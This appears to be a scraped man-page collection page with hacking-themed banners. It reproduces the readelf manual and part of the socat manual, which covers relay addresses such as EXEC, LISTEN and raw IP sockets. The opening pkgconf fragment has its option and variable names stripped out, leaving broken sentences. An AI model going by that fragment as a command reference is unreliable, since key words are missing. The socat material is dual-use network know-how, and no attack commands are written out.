Print all relevant

entries for a module to the output channel.

Print the value of

Print the modules included in either the

field or the

field.

Dump the dependency resolver’s solution as a graphviz

file. This can be used with graphviz to visualize module interdependencies.

Display the filenames of the

files used by the dependency resolver for a given dependency set.

Print the requested values as variable declarations in a similar format as the

command.

Filter the fragment lists for the specified types.

Print the version of the queried module.

List of secondary directories where

files are looked up.

List of primary directories where

files are looked up.

directory, will be prepended to every path defined in

Useful for cross compilation.

Provides an alternative setting for the

global variable.

If set, enables the same behaviour as the

flag.

List of paths that are considered system include paths by the toolchain. This is a pkgconf-specific extension.

List of paths that are considered system library paths by the toolchain. This is a pkgconf-specific extension.

If set, enables the same behaviour as the

flag.

which is used for dumping audit information concerning installed module versions.

If set, enables additional debug logging. The format of the debug log messages is implementation-specific.

If set, disables the path relocation feature.

If set, uses MSVC syntax for fragments.

If set, follow the sysroot prefixing rules that freedesktop.org pkg-config uses.

If set to PKG_CONFIG_SYSROOT_DIR, assume that PKG_CONFIG_FDO_SYSROOT_RULES is set.

Displaying the CFLAGS of a package:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

448 - Linux cli command readelf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readelf and provides detailed information about the command readelf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readelf.

NAME 🖥️ readelf 🖥️

display information about ELF files

SYNOPSIS

readelf [-a|–all] [-h|–file-header] [-l|–program-headers|–segments] [-S|–section-headers|–sections] [-g|–section-groups] [-t|–section-details] [-e|–headers] [-s|–syms|–symbols] [–dyn-syms|–lto-syms] [–sym-base=[0|8|10|16]] [–demangle*=style*|–no-demangle] [–quiet] [–recurse-limit|–no-recurse-limit] [-U method|–unicode=method] [-X|–extra-sym-info|–no-extra-sym-info] [-n|–notes] [-r|–relocs] [-u|–unwind] [-d|–dynamic] [-V|–version-info] [-A|–arch-specific] [-D|–use-dynamic] [-L|–lint|–enable-checks] [-x <number or name>|–hex-dump=<number or name>] [-p <number or name>|–string-dump=<number or name>] [-R <number or name>|–relocated-dump=<number or name>] [-j <number or name>|–display-section=<number or name>] [-z|–decompress] [-c|–archive-index] [-w[lLiaprmfFsoORtUuTgAck]| –debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-wK|–debug-dump=follow-links] [-wN|–debug-dump=no-follow-links] [-wD|–debug-dump=use-debuginfod] [-wE|–debug-dump=do-not-use-debuginfod] [-P|–process-links] [–dwarf-depth=n] [–dwarf-start=n] [–ctf=section] [–ctf-parent=section] [–ctf-symbols=section] [–ctf-strings=section] [–sframe=section] [-I|–histogram] [-v|–version] [-W|–wide] [-T|–silent-truncation] [-H|–help] elffile

DESCRIPTION

readelf displays information about one or more ELF format object files. The options control what particular information to display.

elffile… are the object files to be examined. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

This program performs a similar function to objdump but it goes into more detail and it exists independently of the BFD library, so if there is a bug in BFD then readelf will not be affected.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option besides -v or -H must be given.

-a

–all

Equivalent to specifying –file-header, –program-headers, –sections, –symbols, –relocs, –dynamic, –notes, –version-info, –arch-specific, –unwind, –section-groups and –histogram. Note - this option does not enable –use-dynamic itself, so if that option is not present on the command line then dynamic symbols and dynamic relocs will not be displayed.

-h

–file-header

Displays the information contained in the ELF header at the start of the file.

-l

–program-headers

–segments

Displays the information contained in the file’s segment headers, if it has any.

–quiet
Suppress “no symbols” diagnostic.

-S

–sections

–section-headers

Displays the information contained in the file’s section headers, if it has any.

-g

–section-groups

Displays the information contained in the file’s section groups, if it has any.

-t

–section-details

Displays the detailed section information. Implies -S.

-s

–symbols

–syms

Displays the entries in symbol table section of the file, if it has one. If a symbol has version information associated with it then this is displayed as well. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

–dyn-syms
Displays the entries in dynamic symbol table section of the file, if it has one. The output format is the same as the format used by the –syms option.

–lto-syms
Displays the contents of any LTO symbol tables in the file.

–sym-base=[0|8|10|16]
Forces the size field of the symbol table to use the given base. Any unrecognized options will be treated as 0. –sym-base=0 represents the default and legacy behaviour. This will output sizes as decimal for numbers less than 100000. For sizes 100000 and greater hexadecimal notation will be used with a 0x prefix. –sym-base=8 will give the symbol sizes in octal. –sym-base=10 will always give the symbol sizes in decimal. –sym-base=16 will always give the symbol sizes in hexadecimal with a 0x prefix.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. This makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of non-ASCII characters in identifier names. The default (–unicode=locale or –unicode=default) is to treat them as multibyte characters and display them in the current locale. All other versions of this option treat the bytes as UTF-8 encoded values and attempt to interpret them. If they cannot be interpreted or if the –unicode=invalid option is used then they are displayed as a sequence of hex bytes, encloses in curly parethesis characters. Using the –unicode=escape option will display the characters as as unicode escape sequences (\uxxxx). Using the –unicode=hex will display the characters as hex byte sequences enclosed between angle brackets. Using the –unicode=highlight will display the characters as unicode escape sequences but it will also highlighted them in red, assuming that colouring is supported by the output device. The colouring is intended to draw attention to the presence of unicode sequences when they might not be expected.

-X

–extra-sym-info

When displaying details of symbols, include extra information not normally presented. Currently this just adds the name of the section referenced by the symbol’s index field, if there is one. In the future more information may be displayed when this option is enabled. Enabling this option effectively enables the –wide option as well, at least when displaying symbol information.

–no-extra-sym-info
Disables the effect of the –extra-sym-info option. This is the default.

-e

–headers

Display all the headers in the file. Equivalent to -h -l -S.

-n

–notes

Displays the contents of the NOTE segments and/or sections, if any.

-r

–relocs

Displays the contents of the file’s relocation section, if it has one.

-u

–unwind

Displays the contents of the file’s unwind section, if it has one. Only the unwind sections for IA64 ELF files, as well as ARM unwind tables (.ARM.exidx / .ARM.extab) are currently supported. If support is not yet implemented for your architecture you could try dumping the contents of the .eh_frames section using the –debug-dump=frames or –debug-dump=frames-interp options.

-d

–dynamic

Displays the contents of the file’s dynamic section, if it has one.

-V

–version-info

Displays the contents of the version sections in the file, it they exist.

-A

–arch-specific

Displays architecture-specific information in the file, if there is any.

-D

–use-dynamic

When displaying symbols, this option makes readelf use the symbol hash tables in the file’s dynamic section, rather than the symbol table sections. When displaying relocations, this option makes readelf display the dynamic relocations rather than the static relocations.

-L

–lint

–enable-checks

Displays warning messages about possible problems with the file(s) being examined. If used on its own then all of the contents of the file(s) will be examined. If used with one of the dumping options then the warning messages will only be produced for the things being displayed.

-x <number or name>

–hex-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple hex dumps.

-R <number or name>

–relocated-dump=<number or name>

Displays the contents of the indicated section as a hexadecimal bytes. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. The contents of the section will be relocated before they are displayed. This option can be repeated multiple times on the command line in order to request multiple relocated dumps.

-p <number or name>

–string-dump=<number or name>

Displays the contents of the indicated section as printable strings. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the object file. This option can be repeated multiple times on the command line in order to request multiple string dumps.

-j <number or name>

–display-section

Displays the contents of the indicated section according to its section header type. Sections containing relocations will be displayed as if the –relocations option had been used, sections contains symbols will be displayed as if the –syms option had been used and so on. A number identifies a particular section by index in the section table; any other string identifies all sections with that name in the input file(s). This option can be repeated multiple times on the command line in order to request multiple section dumps.

-z

–decompress

Requests that the section(s) being dumped by x, R or p options are decompressed before being displayed. If the section(s) are not compressed then they are displayed as is.

-c

–archive-index

Displays the file symbol index information contained in the header part of binary archives. Performs the same function as the t command to ar, but without using the BFD library.

-w[lLiaprmfFsOoRtUuTgAckK]

–debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

-P

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -wK option, and only sections requested by other command line options will be displayed.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–ctf-symbols=section

–ctf-strings=section

Specify the name of another section from which the CTF file can inherit strings and symbols. By default, the .symtab and its linked string table are used. If either of –ctf-symbols or –ctf-strings is specified, the other must be specified as well.

-I

–histogram

Display a histogram of bucket list lengths when displaying the contents of the symbol tables.

-v

–version

Display the version number of readelf.

-W

–wide

Don’t break output lines to fit into 80 columns. By default readelf breaks section header and segment listing lines for 64-bit ELF files, so that they fit into 80 columns. This option causes readelf to print each section header resp. each segment one a single line, which is far more readable on terminals wider than 80 columns.

-T

–silent-truncation

Normally when readelf is displaying a symbol name, and it has to truncate the name to fit into an 80 column display, it will add a suffix of [...] to the name. This command line option disables this behaviour, allowing 5 more characters of the name to be displayed and restoring the old behaviour of readelf (prior to release 2.35).

-H

–help

Display the command-line options understood by readelf.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

449 - Linux cli command socat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command socat and provides detailed information about the command socat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the socat.

NAME 🖥️ socat 🖥️

Multipurpose relay (SOcket CAT)

SYNOPSIS

socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan

DESCRIPTION

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes.

Filan is a utility that prints information about its active file descriptors to stdout. It has been written for debugging socat, but might be useful for other purposes too. Use the -h option to find more infos.

Procan is a utility that prints information about process parameters to stdout. It has been written to better understand some UNIX process properties and for debugging socat, but might be useful for other purposes too.

The life cycle of a socat instance typically consists of four phases.

In the init phase, the command line options are parsed and logging is initialized.

During the open phase, socat opens the first address and afterwards the second address. These steps are usually blocking; thus, especially for complex address types like socks, connection requests or authentication dialogs must be completed before the next step is started.

In the transfer phase, socat watches both streams’ read and write file descriptors via select() , and, when data is available on one side and can be written to the other side, socat reads it, performs newline character conversions if required, and writes the data to the write file descriptor of the other stream, then continues waiting for more data in both directions.

When one of the streams effectively reaches EOF, the closing phase begins. Socat transfers the EOF condition to the other stream, i.e. tries to shutdown only its write stream, giving it a chance to terminate gracefully. For a defined time socat continues to transfer data in the other direction, but then closes all remaining channels and terminates.

OPTIONS

Socat provides some command line options that modify the behaviour of the program. They have nothing to do with so called address options that are used as parts of address specifications.

-V
Print version and available feature information to stdout, and exit.

-h | -?
Print a help text to stdout describing command line options and available address types, and exit.

-hh | -??
Like -h, plus a list of the short names of all available address options. Some options are platform dependend, so this output is helpful for checking the particular implementation.

-hhh | -???
Like -hh, plus a list of all available address option names.

-d
Without this option, only fatal, error, and warning messages are printed; applying this option also prints notice messages. See DIAGNOSTICS for more information.

-d0
With this option, only fatal and error messages are printed; this restores the behaviour of socat up to version 1.7.4.

-d -d | -dd | -d2
Prints fatal, error, warning, and notice messages.

-d -d -d | -ddd | -d3
Prints fatal, error, warning, notice, and info messages.

-d -d -d -d | -dddd | -d4
Prints fatal, error, warning, notice, info, and debug messages.

-D
Logs information about file descriptors before starting the transfer phase.

–experimental
New features that are not well tested or are subject to change in the future must me explicitely enabled using this option.

-ly[<facility>]
Writes messages to syslog instead of stderr; severity as defined with -d option. With optional <facility>, the syslog type can be selected, default is “daemon”. Third party libraries might not obey this option.

-lf<logfile>
Writes messages to <logfile> [filename] instead of stderr. Some third party libraries, in particular libwrap, might not obey this option.

-ls
Writes messages to stderr (this is the default). Some third party libraries might not obey this option, in particular libwrap appears to only log to syslog.

-lp<progname>
Overrides the program name printed in error messages and used for constructing environment variable names.

-lu
Extends the timestamp of error messages to microsecond resolution. Does not work when logging to syslog.

-lm[<facility>]
Mixed log mode. During startup messages are printed to stderr; when socat starts the transfer phase loop or daemon mode (i.e. after opening all streams and before starting data transfer, or, with listening sockets with fork option, before the first accept call), it switches logging to syslog. With optional <facility>, the syslog type can be selected, default is “daemon”.

-lh
Adds hostname to log messages. Uses the value from environment variable HOSTNAME or the value retrieved with uname()`` if HOSTNAME is not set.

-v
Writes the transferred data not only to their target streams, but also to stderr. The output format is text with some conversions for readability, and prefixed with “> " or “< " indicating flow directions.

-x
Writes the transferred data not only to their target streams, but also to stderr. The output format is hexadecimal, prefixed with “> " or “< " indicating flow directions. Can be combined with -v .

-r <file>
Dumps the raw (binary) data flowing from left to right address to the given file. The file name may contain references to environment variables and $$ (pid), $PROGNAME (see option option -lp), $TIMESTAMP (uses format %Y%m%dT%H%M%S), and MICROS (microseconds of daytime). These references have to be protected from shell expansion of course.

-R <file>
Dumps the raw (binary) data flowing from right to left address to the given file. See option -r for customization of file name.

-b<size>
Sets the data transfer block <size> [size_t]. At most <size> bytes are transferred per step. Default is 8192 bytes.

-s
By default, socat terminates when an error occurred to prevent the process from running when some option could not be applied. With this option, socat is sloppy with errors and tries to continue. Even with this option, socat will exit on fatals, and will abort connection attempts when security checks failed.

-S<signals-bitmap>
Changes the set of signals that are caught by socat just for printing an log message. This catching is useful to get the information about the signal into socats log, but prevents core dump or other standard actions. The default set of these signals is SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGABRT, SIGBUS, SIGFPE, SIGSEGV, and SIGTERM; replace this set (0x89de on Linux) with a bitmap (e.g., SIGFPE has value 8 and its bit is 0x0080).
Note: Signals SIGHUP, SIGINT, SIGQUIT, SIGUSR1, SIGPIPE, SIGALRM, SIGTERM, and SIGCHLD may be handled specially anyway.

-t<timeout>
When one channel has reached EOF, the write part of the other channel is shut down. Then, socat waits <timeout> [timeval] seconds before terminating. Default is 0.5 seconds. This timeout only applies to addresses where write and read part can be closed independently. When during the timeout interval the read part gives EOF, socat terminates without awaiting the timeout.

-T<timeout>
Total inactivity timeout: when socat is already in the transfer loop and nothing has happened for <timeout> [timeval] seconds (no data arrived, no interrupt occurred…) then it terminates. Useful with protocols like UDP that cannot transfer EOF.

-u
Uses unidirectional mode. The first address is only used for reading, and the second address is only used for writing (example).

-U
Uses unidirectional mode in reverse direction. The first address is only used for writing, and the second address is only used for reading.

-g
During address option parsing, don’t check if the option is considered useful in the given address environment. Use it if you want to force, e.g., appliance of a socket option to a serial device.

-L<lockfile>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-W<lockfile>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-4
Use IP version 4 in case the addresses do not implicitly or explicitly specify a version. Since version 1.8.0 the default is no preference.

-6
Use IP version 6 in case the addresses do not implicitly or explicitly specify a version.

–statistics

-S
Logs transfer statistics (bytes and blocks counters for both directions) before terminating socat.
See also signal USR1.
This feature is experimental and might change in future versions.

ADDRESS SPECIFICATIONS

With the address command line arguments, the user gives socat instructions and the necessary information for establishing the byte streams.

An address specification usually consists of an address type keyword, zero or more required address parameters separated by ’:’ from the keyword and from each other, and zero or more address options separated by ’,’.

The keyword specifies the address type (e.g., TCP4, OPEN, EXEC). For some keywords there exist synonyms (’-’ for STDIO, TCP for TCP4). Keywords are case insensitive. For a few special address types, the keyword may be omitted: Address specifications starting with a number are assumed to be FD (raw file descriptor) addresses; if a ’/’ is found before the first ’:’ or ’,’, GOPEN (generic file open) is assumed.

The required number and type of address parameters depend on the address type. E.g., TCP4 requires a server specification (name or address), and a port specification (number or service name).

Zero or more address options may be given with each address. They influence the address in some ways. Options consist of an option keyword or an option keyword and a value, separated by ’=’. Option keywords are case insensitive. For filtering the options that are useful with an address type, each option is member of one option group. For each address type there is a set of option groups allowed. Only options belonging to one of these address groups may be used (except with option -g).

Address specifications following the above schema are also called single address specifications. Two single addresses can be combined with “!!” to form a dual type address for one channel. Here, the first address is used by socat for reading data, and the second address for writing data. There is no way to specify an option only once for being applied to both single addresses.

Usually, addresses are opened in read/write mode. When an address is part of a dual address specification, or when option -u or -U is used, an address might be used only for reading or for writing. Considering this is important with some address types.

With socat version 1.5.0 and higher, the lexical analysis tries to handle quotes and parenthesis meaningfully and allows escaping of special characters. If one of the characters ( { [ ’ is found, the corresponding closing character - ) } ] ’ - is looked for; they may also be nested. Within these constructs, socats special characters and strings : , !! are not handled specially. All those characters and strings can be escaped with \ or within "”

ADDRESS TYPES

This section describes the available address types with their keywords, parameters, and semantics.

CREATE:<filename>
Opens <filename> with creat() and uses the file descriptor for writing. This is a write-only address because a file opened with creat cannot be read from. See options -u and -U, and dual addresses.
Flags like O_LARGEFILE cannot be applied. If you need them use OPEN with options create,create.
<filename> must be a valid existing or not existing path. If <filename> is a named pipe, creat() might block; if <filename> refers to a socket, this is an error.
Option groups: FD,REG,NAMED
Useful options: mode, user, group, unlink-early, unlink-late, append
See also: OPEN, GOPEN

DCCP-CONNECT:<host>:<port> (DCCP:<host>:<port>)
Establishes a DCCP connect to the specified <host> [IP address] and <port> [DCCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, connect-timeout, tos, dccp-set-ccid, nonblock, sourceport, retry, readbytes
See also: DCCP4-CONNECT, DCCP6-CONNECT, DCCP-LISTEN, TCP-CONNECT SCTP-CONNECT

DCCP4-CONNECT:<host>:<port> (DCCP4:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,DCCP,CHILD,RETRY

DCCP6-CONNECT:<host>:<port> (DCCP6:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,DCCP,CHILD,RETRY

DCCP-LISTEN:<port> (DCCP-L:<port>)
Listens on <port> [DCCP service] and accepts an DCCP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,DCCP,RETRY
Useful options: fork, bind, range, max-children, backlog, accept-timeout, dccp-set-sid, su, reuseaddr, retry
See also: DCCP4-LISTEN, DCCP6-LISTEN, TCP-LISTEN, SCTP-LISTEN, DCCP-CONNECT

DCCP4-LISTEN:<port> (DCCP4-L:<port>)
Like DCCP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,DCCP,RETRY

DCCP6-LISTEN:<port> (DCCP6-L:<port>)
Like DCCP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,DCCP,RETRY

EXEC:<command-line>
Forks a sub process that establishes communication with its parent process and invokes the specified program with execvp() . <command-line> is a simple command with arguments separated by single spaces. If the program name contains a ’/’, the part after the last ’/’ is taken as ARGV[0]. If the program name is a relative path, the execvp() semantics for finding the program via $PATH apply. After successful program start, socat writes data to stdin of the process and reads from its stdout using a UNIX domain socket generated by socketpair() per default. (example)
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, login, sigint, sigquit, netns
See also: SYSTEM,SHELL

FD:<fdnum>
Uses the file descriptor <fdnum>. It must already exist as valid UN*X file descriptor.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: STDIO, STDIN, STDOUT, STDERR

GOPEN:<filename>
(Generic open) This address type tries to handle any file system entry except directories usefully. <filename> may be a relative or absolute path. If it already exists, its type is checked. In case of a UNIX domain socket, socat connects; if connecting fails, socatassumes a datagram socket and uses sendto() calls. If the entry is not a socket, socatopens it applying the O_APPEND flag. If it does not exist, it is opened with flag O_CREAT as a regular file (example).
Option groups: FD,REG,SOCKET,NAMED,OPEN
See also: OPEN, CREATE, UNIX-CONNECT

IP-SENDTO:<host>:<protocol>
Opens a raw IP socket. Depending on host specification or option pf, IP protocol version 4 or 6 is used. It uses <protocol> to send packets to <host> [IP address] and receives packets from host, ignores packets from other hosts. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6
Useful options: pf, ttl
See also: IP4-SENDTO, IP6-SENDTO, IP-RECVFROM, IP-RECV, UDP-SENDTO, UNIX-SENDTO

INTERFACE:<interface>
Communicates with a network connected on an interface using raw packets including link level data. <interface> is the name of the network interface. Currently only available on Linux.
Option groups: FD,SOCKET
Useful options: pf, type
See also: ip-recv

IP4-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv4.
Option groups: FD,SOCKET,IP4

IP6-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv6.
Option groups: FD,SOCKET,IP6

IP-DATAGRAM:<address>:<protocol>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD, SOCKET, IP4, IP6, RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, pf
See also: IP4-DATAGRAM, IP6-DATAGRAM, IP-SENDTO, IP-RECVFROM, IP-RECV, UDP-DATAGRAM

IP4-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv4. (example)
Option groups: FD,SOCKET,IP4,RANGE

IP6-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv6. Please note that IPv6 does not know broadcasts.
Option groups: FD,SOCKET,IP6,RANGE

IP-RECVFROM:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named.
Please note that the reply packets might be fetched as incoming traffic when sender and receiver IP address are identical because there is no port number to distinguish the sockets.
